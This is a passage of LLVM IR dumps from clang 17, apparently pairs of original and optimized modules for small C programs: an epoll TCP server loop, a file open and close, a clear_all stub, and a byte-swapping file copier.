inbounds %struct.TYPE_2__, ptr %25, i32 0, i32 0 store i32 %24, ptr %26, align 8 %27 = load i32, ptr %8, align 4 %28 = load i32, ptr @EPOLL_CTL_ADD, align 4 %29 = load i32, ptr %6, align 4 %30 = call i64 @epoll_ctl(i32 noundef %27, i32 noundef %28, i32 noundef %29, ptr noundef %11) %31 = icmp slt i64 %30, 0 br i1 %31, label %32, label %36 32: ; preds = %20 %33 = call i32 @perror(ptr noundef @.str.1) %34 = load i32, ptr @EXIT_FAILURE, align 4 %35 = call i32 @exit(i32 noundef %34) #3 unreachable 36: ; preds = %20 br label %37 37: ; preds = %.backedge, %36 %38 = load i32, ptr %8, align 4 %39 = getelementptr inbounds [10 x %struct.epoll_event], ptr %12, i64 0, i64 0 %40 = call i32 @epoll_wait(i32 noundef %38, ptr noundef %39, i32 noundef 10, i32 noundef -1) store i32 %40, ptr %10, align 4 %41 = icmp slt i32 %40, 0 br i1 %41, label %42, label %51 42: ; preds = %37 %43 = load i64, ptr @errno, align 8 %44 = load i64, ptr @EINTR, align 8 %45 = icmp eq i64 %43, %44 br i1 %45, label %46, label %47 46: ; preds = %42 br label %.backedge .backedge: ; preds = %46, %128 br label %37 47: ; preds = %42 %48 = call i32 @perror(ptr noundef @.str.2) %49 = load i32, ptr @EXIT_FAILURE, align 4 %50 = call i32 @exit(i32 noundef %49) #3 unreachable 51: ; preds = %37 store i32 0, ptr %9, align 4 %52 = load i32, ptr %9, align 4 %53 = load i32, ptr %10, align 4 %54 = icmp slt i32 %52, %53 br i1 %54, label %.lr.ph, label %128 .lr.ph: ; preds = %51 br label %55 55: ; preds = %.lr.ph, %122 %56 = load i32, ptr %9, align 4 %57 = sext i32 %56 to i64 %58 = getelementptr inbounds [10 x %struct.epoll_event], ptr %12, i64 0, i64 %57 %59 = getelementptr inbounds %struct.epoll_event, ptr %58, i32 0, i32 0 %60 = getelementptr inbounds %struct.TYPE_2__, ptr %59, i32 0, i32 0 %61 = load i32, ptr %60, align 16 %62 = load i32, ptr %6, align 4 %63 = icmp eq i32 %61, %62 br i1 %63, label %64, label %88 64: ; preds = %55 %65 = load i32, ptr %6, align 4 %66 = call i32 @accept(i32 noundef %65, ptr noundef null, ptr noundef null) store i32 %66, ptr %7, align 4 %67 = icmp slt i32 %66, 0 br i1 %67, label %68, label %72 68: ; preds = %64 %69 = call i32 @perror(ptr noundef @.str.3) %70 = load i32, ptr @EXIT_FAILURE, align 4 %71 = call i32 @exit(i32 noundef %70) #3 unreachable 72: ; preds = %64 %73 = load ptr, ptr @EPOLLIN, align 8 %74 = getelementptr inbounds %struct.epoll_event, ptr %11, i32 0, i32 1 store ptr %73, ptr %74, align 8 %75 = load i32, ptr %7, align 4 %76 = getelementptr inbounds %struct.epoll_event, ptr %11, i32 0, i32 0 %77 = getelementptr inbounds %struct.TYPE_2__, ptr %76, i32 0, i32 0 store i32 %75, ptr %77, align 8 %78 = load i32, ptr %8, align 4 %79 = load i32, ptr @EPOLL_CTL_ADD, align 4 %80 = load i32, ptr %7, align 4 %81 = call i64 @epoll_ctl(i32 noundef %78, i32 noundef %79, i32 noundef %80, ptr noundef %11) %82 = icmp slt i64 %81, 0 br i1 %82, label %83, label %87 83: ; preds = %72 %84 = call i32 @perror(ptr noundef @.str.4) %85 = load i32, ptr @EXIT_FAILURE, align 4 %86 = call i32 @exit(i32 noundef %85) #3 unreachable 87: ; preds = %72 br label %121 88: ; preds = %55 %89 = load i32, ptr %9, align 4 %90 = sext i32 %89 to i64 %91 = getelementptr inbounds [10 x %struct.epoll_event], ptr %12, i64 0, i64 %90 %92 = getelementptr inbounds %struct.epoll_event, ptr %91, i32 0, i32 0 %93 = getelementptr inbounds %struct.TYPE_2__, ptr %92, i32 0, i32 0 %94 = load i32, ptr %93, align 16 %95 = call i64 @tcp_main(i32 noundef %94) %96 = icmp eq i64 %95, 0 br i1 %96, label %97, label %120 97: ; preds = %88 %98 = load i32, ptr %8, align 4 %99 = load i32, ptr @EPOLL_CTL_DEL, align 4 %100 = load i32, ptr %9, align 4 %101 = sext i32 %100 to i64 %102 = getelementptr inbounds [10 x %struct.epoll_event], ptr %12, i64 0, i64 %101 %103 = getelementptr inbounds %struct.epoll_event, ptr %102, i32 0, i32 0 %104 = getelementptr inbounds %struct.TYPE_2__, ptr %103, i32 0, i32 0 %105 = load i32, ptr %104, align 16 %106 = call i64 @epoll_ctl(i32 noundef %98, i32 noundef %99, i32 noundef %105, ptr noundef null) %107 = icmp slt i64 %106, 0 br i1 %107, label %108, label %112 108: ; preds = %97 %109 = call i32 @perror(ptr noundef @.str.5) %110 = load i32, ptr @EXIT_FAILURE, align 4 %111 = call i32 @exit(i32 noundef %110) #3 unreachable 112: ; preds = %97 %113 = load i32, ptr %9, align 4 %114 = sext i32 %113 to i64 %115 = getelementptr inbounds [10 x %struct.epoll_event], ptr %12, i64 0, i64 %114 %116 = getelementptr inbounds %struct.epoll_event, ptr %115, i32 0, i32 0 %117 = getelementptr inbounds %struct.TYPE_2__, ptr %116, i32 0, i32 0 %118 = load i32, ptr %117, align 16 %119 = call i32 @close(i32 noundef %118) br label %120 120: ; preds = %112, %88 br label %121 121: ; preds = %120, %87 br label %122 122: ; preds = %121 %123 = load i32, ptr %9, align 4 %124 = add nsw i32 %123, 1 store i32 %124, ptr %9, align 4 %125 = load i32, ptr %9, align 4 %126 = load i32, ptr %10, align 4 %127 = icmp slt i32 %125, %126 br i1 %127, label %55, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %122 br label %128 128: ; preds = %._crit_edge, %51 br label %.backedge } declare i32 @tcp_server_socket(i32 noundef) #1 declare i32 @epoll_create(i32 noundef) #1 declare i32 @perror(ptr noundef) #1 ; Function Attrs: noreturn declare i32 @exit(i32 noundef) #2 declare i32 @memset(ptr noundef, i32 noundef, i32 noundef) #1 declare i64 @epoll_ctl(i32 noundef, i32 noundef, i32 noundef, ptr noundef) #1 declare i32 @epoll_wait(i32 noundef, ptr noundef, i32 noundef, i32 noundef) #1 declare i32 @accept(i32 noundef, ptr noundef, ptr noundef) #1 declare i64 @tcp_main(i32 noundef) #1 declare i32 @close(i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #3 = { noreturn } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '/tmp/tmp4r63rrwe.c' source_filename = "/tmp/tmp4r63rrwe.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [13 x i8] c"archivo1.txt\00", align 1 @.str.1 = private unnamed_addr constant [2 x i8] c"w\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca ptr, align 8 store i32 0, ptr %1, align 4 %3 = call ptr @fopen(ptr noundef @.str, ptr noundef @.str.1) store ptr %3, ptr %2, align 8 %4 = load ptr, ptr %2, align 8 %5 = call i32 @fclose(ptr noundef %4) ret i32 0 } declare ptr @fopen(ptr noundef, ptr noundef) #1 declare i32 @fclose(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp4r63rrwe.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [13 x i8] c"archivo1.txt\00", align 1 @.str.1 = private unnamed_addr constant [2 x i8] c"w\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca ptr, align 8 store i32 0, ptr %1, align 4 %3 = call ptr @fopen(ptr noundef @.str, ptr noundef @.str.1) store ptr %3, ptr %2, align 8 %4 = load ptr, ptr %2, align 8 %5 = call i32 @fclose(ptr noundef %4) ret i32 0 } declare ptr @fopen(ptr noundef, ptr noundef) #1 declare i32 @fclose(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp408gcstt.c' source_filename = "/tmp/tmp408gcstt.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @clear_all() #0 { %1 = call i32 (...) @erase() ret i32 0 } declare i32 @erase(...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp408gcstt.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @clear_all() #0 { %1 = call i32 (...) @erase() ret i32 0 } declare i32 @erase(...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpxwnx9iym.c' source_filename = "/tmp/tmpxwnx9iym.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [32 x i8] c"usage: %s <srcfile> <destfile>\0A\00", align 1 @.str.1 = private unnamed_addr constant [3 x i8] c"rb\00", align 1 @.str.2 = private unnamed_addr constant [24 x i8] c"can't open source file\0A\00", align 1 @.str.3 = private unnamed_addr constant [3 x i8] c"wb\00", align 1 @.str.4 = private unnamed_addr constant [22 x i8] c"can't open dest file\0A\00", align 1 @SEEK_END = dso_local global i32 0, align 4 @SEEK_SET = dso_local global i32 0, align 4 @.str.5 = private unnamed_addr constant [16 x i8] c"malloc failure\0A\00", align 1 @.str.6 = private unnamed_addr constant [21 x i8] c"read %ld error: %ld\0A\00", align 1 @.str.7 = private unnamed_addr constant [13 x i8] c"write error\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca ptr, align 8 %6 = alloca ptr, align 8 %7 = alloca ptr, align 8 %8 = alloca i64, align 8 %9 = alloca ptr, align 8 %10 = alloca i64, align 8 %11 = alloca i64, align 8 %12 = alloca ptr, align 8 %13 = alloca i8, align 1 store i32 0, ptr %3, align 4 store i32 %0, ptr %4, align 4 store ptr %1, ptr %5, align 8 store ptr null, ptr %6, align 8 store ptr null, ptr %7, align 8 store i64 0, ptr %8, align 8 store ptr null, ptr %9, align 8 store i64 -1, ptr %10, align 8 %14 = load i32, ptr %4, align 4 %15 = icmp ne i32 %14, 3 br i1 %15, label %16, label %21 16: ; preds = %2 %17 = load ptr, ptr %5, align 8 %18 = getelementptr inbounds ptr, ptr %17, i64 0 %19 = load ptr, ptr %18, align 8 %20 = call i32 (ptr, ...) @printf(ptr noundef @.str, ptr noundef %19) store i32 -1, ptr %3, align 4 br label %120 21: ; preds = %2 %22 = load ptr, ptr %5, align 8 %23 = getelementptr inbounds ptr, ptr %22, i64 1 %24 = load ptr, ptr %23, align 8 %25 = call ptr @fopen(ptr noundef %24, ptr noundef @.str.1) store ptr %25, ptr %6, align 8 %26 = load ptr, ptr %6, align 8 %27 = icmp ne ptr %26, null br i1 %27, label %30, label %28 28: ; preds = %21 %29 = call i32 (ptr, ...) @printf(ptr noundef @.str.2) br label %119 30: ; preds = %21 %31 = load ptr, ptr %5, align 8 %32 = getelementptr inbounds ptr, ptr %31, i64 2 %33 = load ptr, ptr %32, align 8 %34 = call ptr @fopen(ptr noundef %33, ptr noundef @.str.3) store ptr %34, ptr %7, align 8 %35 = load ptr, ptr %7, align 8 %36 = icmp ne ptr %35, null br i1 %36, label %39, label %37 37: ; preds = %30 %38 = call i32 (ptr, ...) @printf(ptr noundef @.str.4) br label %116 39: ; preds = %30 %40 = load ptr, ptr %6, align 8 %41 = load i32, ptr @SEEK_END, align 4 %42 = call i32 @fseek(ptr noundef %40, i64 noundef 0, i32 noundef %41) %43 = load ptr, ptr %6, align 8 %44 = call i32 @ftell(ptr noundef %43) %45 = sub nsw i32 %44, 4045564 %46 = sext i32 %45 to i64 store i64 %46, ptr %8, align 8 %47 = load i64, ptr %8, align 8 %48 = icmp sgt i64 %47, 0 %49 = zext i1 %48 to i32 %50 = call i32 @assert(i32 noundef %49) %51 = load ptr, ptr %6, align 8 %52 = load i64, ptr %8, align 8 %53 = load i32, ptr @SEEK_SET, align 4 %54 = call i32 @fseek(ptr noundef %51, i64 noundef %52, i32 noundef %53) %55 = call ptr @malloc(i32 noundef 4045564) store ptr %55, ptr %9, align 8 %56 = load ptr, ptr %9, align 8 %57 = icmp ne ptr %56, null br i1 %57, label %60, label %58 58: ; preds = %39 %59 = call i32 (ptr, ...) @printf(ptr noundef @.str.5) br label %113 60: ; preds = %39 %61 = load ptr, ptr %9, align 8 %62 = load ptr, ptr %6, align 8 %63 = call i64 @fread(ptr noundef %61, i32 noundef 4045564, i32 noundef 1, ptr noundef %62) store i64 %63, ptr %10, align 8 %64 = load i64, ptr %10, align 8 %65 = icmp ne i64 %64, 1 br i1 %65, label %66, label %68 66: ; preds = %60 %67 = call i32 (ptr, ...) @printf(ptr noundef @.str.6, i32 noundef 4045564, i64 noundef 1) br label %110 68: ; preds = %60 store i64 0, ptr %11, align 8 %69 = load ptr, ptr %9, align 8 store ptr %69, ptr %12, align 8 store i64 0, ptr %11, align 8 br label %70 70: ; preds = %98, %68 %71 = load i64, ptr %11, align 8 %72 = icmp slt i64 %71, 4045564 br i1 %72, label %73, label %101 73: ; preds = %70 %74 = load ptr, ptr %12, align 8 %75 = getelementptr inbounds i8, ptr %74, i64 3 %76 = load i8, ptr %75, align 1 store i8 %76, ptr %13, align 1 %77 = load ptr, ptr %12, align 8 %78 = getelementptr inbounds i8, ptr %77, i64 0 %79 = load i8, ptr %78, align 1 %80 = load ptr, ptr %12, align 8 %81 = getelementptr inbounds i8, ptr %80, i64 3 store i8 %79, ptr %81, align 1 %82 = load i8, ptr %13, align 1 %83 = load ptr, ptr %12, align 8 %84 = getelementptr inbounds i8, ptr %83, i64 0 store i8 %82, ptr %84, align 1 %85 = load ptr, ptr %12, align 8 %86 = getelementptr inbounds i8, ptr %85, i64 2 %87 = load i8, ptr %86, align 1 store i8 %87, ptr %13, align 1 %88 = load ptr, ptr %12, align 8 %89 = getelementptr inbounds i8, ptr %88, i64 1 %90 = load i8, ptr %89, align 1 %91 = load ptr, ptr %12, align 8 %92 = getelementptr inbounds i8, ptr %91, i64 2 store i8 %90, ptr %92, align 1 %93 = load i8, ptr %13, align 1 %94 = load ptr, ptr %12, align 8 %95 = getelementptr inbounds i8, ptr %94, i64 1 store i8 %93, ptr %95, align 1 %96 = load ptr, ptr %12, align 8 %97 = getelementptr inbounds i8, ptr %96, i64 4 store ptr %97, ptr %12, align 8 br label %98 98: ; preds = %73 %99 = load i64, ptr %11, align 8 %100 = add nsw i64 %99, 4 store i64 %100, ptr %11, align 8 br label %70, !llvm.loop !6 101: ; preds = %70 %102 = load ptr, ptr %9, align 8 %103 = load ptr, ptr %7, align 8 %104 = call i64 @fwrite(ptr noundef %102, i32 noundef 4045564, i32 noundef 1, ptr noundef %103) store i64 %104, ptr %10, align 8 %105 = load i64, ptr %10, align 8 %106 = icmp ne i64 %105, 1 br i1 %106, label %107, label %109 107: ; preds = %101 %108 = call i32 (ptr, ...) @printf(ptr noundef @.str.7) br label %110 109: ; preds = %101 br label %110 110: ; preds = %109, %107, %66 %111 = load ptr, ptr %9, align 8 %112 = call i32 @free(ptr noundef %111) br label %113 113: ; preds = %110, %58 %114 = load ptr, ptr %7, align 8 %115 = call i32 @fclose(ptr noundef %114) br label %116 116: ; preds = %113, %37 %117 = load ptr, ptr %6, align 8 %118 = call i32 @fclose(ptr noundef %117) br label %119 119: ; preds = %116, %28 store i32 0, ptr %3, align 4 br label %120 120: ; preds = %119, %16 %121 = load i32, ptr %3, align 4 ret i32 %121 } declare i32 @printf(ptr noundef, ...) #1 declare ptr @fopen(ptr noundef, ptr noundef) #1 declare i32 @fseek(ptr noundef, i64 noundef, i32 noundef) #1 declare i32 @ftell(ptr noundef) #1 declare i32 @assert(i32 noundef) #1 declare ptr @malloc(i32 noundef) #1 declare i64 @fread(ptr noundef, i32 noundef, i32 noundef, ptr noundef) #1 declare i64 @fwrite(ptr noundef, i32 noundef, i32 noundef, ptr noundef) #1 declare i32 @free(ptr noundef) #1 declare i32 @fclose(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpxwnx9iym.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [32 x i8] c"usage: %s <srcfile> <destfile>\0A\00", align 1 @.str.1 = private unnamed_addr constant [3 x i8] c"rb\00", align 1 @.str.2 = private unnamed_addr constant [24 x i8] c"can't open source file\0A\00", align 1 @.str.3 = private unnamed_addr constant [3 x i8] c"wb\00", align 1 @.str.4 = private unnamed_addr constant [22 x i8] c"can't open dest file\0A\00", align 1 @SEEK_END = dso_local global i32 0, align 4 @SEEK_SET = dso_local global i32 0, align 4 @.str.5 = private unnamed_addr constant [16 x i8] c"malloc failure\0A\00", align 1 @.str.6 = private unnamed_addr constant [21 x i8] c"read %ld error: %ld\0A\00", align 1 @.str.7 = private unnamed_addr constant [13 x i8] c"write error\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca ptr, align 8 %6 = alloca ptr, align 8 %7 = alloca ptr, align 8 %8 = alloca i64, align 8 %9 = alloca ptr, align 8 %10 = alloca i64, align 8 %11 = alloca i64, align 8 %12 = alloca ptr, align 8 %13 = alloca i8, align 1 store i32 0, ptr %3, align 4 store i32 %0, ptr %4, align 4 store ptr %1, ptr %5, align 8 store ptr null, ptr %6, align 8 store ptr null, ptr %7, align 8 store i64 0, ptr %8, align 8 store ptr null, ptr %9, align 8 store i64 -1, ptr %10, align 8 %14 = load i32, ptr %4, align 4 %15 = icmp ne i32 %14, 3 br i1 %15, label %16, label %21 16: ; preds = %2 %17 = load ptr, ptr %5, align 8 %18 = getelementptr inbounds ptr, ptr %17, i64 0 %19 = load ptr, ptr %18, align 8 %20 = call i32 (ptr, ...) @printf(ptr noundef @.str, ptr noundef %19) store i32 -1, ptr %3, align 4 br label %121 21: ; preds = %2 %22 = load ptr, ptr %5, align 8 %23 = getelementptr inbounds ptr, ptr %22, i64 1 %24 = load ptr, ptr %23, align 8 %25 = call ptr @fopen(ptr noundef %24, ptr noundef @.str.1) store ptr %25, ptr %6, align 8 %26 = load ptr, ptr %6, align 8 %27 = icmp ne ptr %26, null br i1 %27, label %30, label %28 28: ; preds = %21 %29 = call i32 (ptr, ...) @printf(ptr noundef @.str.2) br label %120 30: ; preds = %21 %31 = load ptr, ptr %5, align 8 %32 = getelementptr inbounds ptr, ptr %31, i64 2 %33 = load ptr, ptr %32, align 8 %34 = call ptr @fopen(ptr noundef %33, ptr noundef @.str.3) store ptr %34, ptr %7, align 8 %35 = load ptr, ptr %7, align 8 %36 = icmp ne ptr %35, null br i1 %36, label %39, label %37 37: ; preds = %30 %38 = call i32 (ptr, ...) @printf(ptr noundef @.str.4) br label %117 39: ; preds = %30 %40 = load ptr, ptr %6, align 8 %41 = load i32, ptr @SEEK_END, align 4 %42 = call i32 @fseek(ptr noundef %40, i64 noundef 0, i32 noundef %41) %43 = load ptr, ptr %6, align 8 %44 = call i32 @ftell(ptr noundef %43) %45 = sub nsw i32 %44, 4045564 %46 = sext i32 %45 to i64 store i64 %46, ptr %8, align 8 %47 = load i64, ptr %8, align 8 %48 = icmp sgt i64 %47, 0 %49 = zext i1 %48 to i32 %50 = call i32 @assert(i32 noundef %49) %51 = load ptr, ptr %6, align 8 %52 = load i64, ptr %8, align 8 %53 = load i32, ptr @SEEK_SET, align 4 %54 = call i32 @fseek(ptr noundef %51, i64 noundef %52, i32 noundef %53) %55 = call ptr @malloc(i32 noundef 4045564) store ptr %55, ptr %9, align 8 %56 = load ptr, ptr %9, align 8 %57 = icmp ne ptr %56, null br i1 %57, label %60, label %58 58: ; preds = %39 %59 = call i32 (ptr, ...) @printf(ptr noundef @.str.5) br label %114 60: ; preds = %39 %61 = load ptr, ptr %9, align 8 %62 = load ptr, ptr %6, align 8 %63 = call i64 @fread(ptr noundef %61, i32 noundef 4045564, i32 noundef 1, ptr noundef %62) store i64 %63, ptr %10, align 8 %64 = load i64, ptr %10, align 8 %65 = icmp ne i64 %64, 1 br i1 %65, label %66, label %68 66: ; preds = %60 %67 = call i32 (ptr, ...) @printf(ptr noundef @.str.6, i32 noundef 4045564, i64 noundef 1) br label %111 68: ; preds = %60 store i64 0, ptr %11, align 8 %69 = load ptr, ptr %9, align 8 store ptr %69, ptr %12, align 8 store i64 0, ptr %11, align 8 %70 = load i64, ptr %11, align 8 %71 = icmp slt i64 %70, 4045564 br i1 %71, label %.lr.ph, label %102 .lr.ph: ; preds = %68 br label %72 72: ; preds = %.lr.ph, %97 %73 = load ptr, ptr %12, align 8 %74 = getelementptr inbounds i8, ptr %73, i64 3 %75 = load i8, ptr %74, align 1 store i8 %75, ptr %13, align 1 %76 = load ptr, ptr %12, align 8 %77 = getelementptr inbounds i8, ptr %76, i64 0 %78 = load i8, ptr %77, align 1 %79 = load ptr, ptr %12, align 8 %80 = getelementptr inbounds i8, ptr %79, i64 3 store i8 %78, ptr %80, align 1 %81 = load i8, ptr %13, align 1 %82 = load ptr, ptr %12, align 8 %83 = getelementptr inbounds i8, ptr %82, i64 0 store i8 %81, ptr %83, align 1 %84 = load ptr, ptr %12, align 8 %85 = getelementptr inbounds i8, ptr %84, i64 2 %86 = load i8, ptr %85, align 1 store i8 %86, ptr %13, align 1 %87 = load ptr, ptr %12, align 8 %88 = getelementptr inbounds i8, ptr %87, i64 1 %89 = load i8, ptr %88, align 1 %90 = load ptr, ptr %12, align 8 %91 = getelementptr inbounds i8, ptr %90, i64 2 store i8 %89, ptr %91, align 1 %92 = load i8, ptr %13, align 1 %93 = load ptr, ptr %12, align 8 %94 = getelementptr inbounds i8, ptr %93, i64 1 store i8 %92, ptr %94, align 1 %95 = load ptr, ptr %12, align 8 %96 = getelementptr inbounds i8, ptr %95, i64 4 store ptr %96, ptr %12, align 8 br label %97 97: ; preds = %72 %98 = load i64, ptr %11, align 8 %99 = add nsw i64 %98, 4 store i64 %99, ptr %11, align 8 %100 = load i64, ptr %11, align 8 %101 = icmp slt i64 %100, 4045564 br i1 %101, label %72, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %97 br label %102 102: ; preds = %._crit_edge, %68 %103 = load ptr, ptr %9, align 8 %104 = load ptr, ptr %7, align 8 %105 = call i64 @fwrite(ptr noundef %103, i32 noundef 4045564, i32 noundef 1, ptr noundef %104) store i64 %105, ptr %10, align 8 %106 = load i64, ptr %10, align 8 %107 = icmp ne i64 %106, 1 br i1 %107, label %108, label %110 108: ; preds = %102 %109 = call i32 (ptr, ...) @printf(ptr noundef @.str.7) br label %111 110: ; preds = %102 br label %111 111: ; preds = %110, %108, %66 %112 = load ptr, ptr %9, align 8 %113 = call i32 @free(ptr noundef %112) br label %114 114: ; preds = %111, %58 %115 = load ptr, ptr %7, align 8 %116 = call i32 @fclose(ptr noundef %115) br label %117 117: ; preds = %114, %37 %118 = load ptr, ptr %6, align 8 %119 = call i32 @fclose(ptr noundef %118) br label %120 120: ; preds = %117, %28 store i32 0, ptr %3, align 4 br label %121 121: ; preds = %120, %16 %122 = load i32, ptr %3, align 4 ret i32 %122 } declare i32 @printf(ptr noundef, ...) #1 declare ptr @fopen(ptr noundef, ptr noundef) #1 declare i32 @fseek(ptr noundef, i64 noundef, i32 noundef) #1 declare i32 @ftell(ptr noundef) #1 declare i32 @assert(i32 noundef) #1 declare ptr @malloc(i32 noundef) #1 declare i64 @fread(ptr noundef, i32 noundef, i32 noundef, ptr noundef) #1 declare i64 @fwrite(ptr noundef, i32 noundef, i32 noundef, ptr noundef) #1 declare i32 @free(ptr noundef) #1 declare i32 @fclose(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" 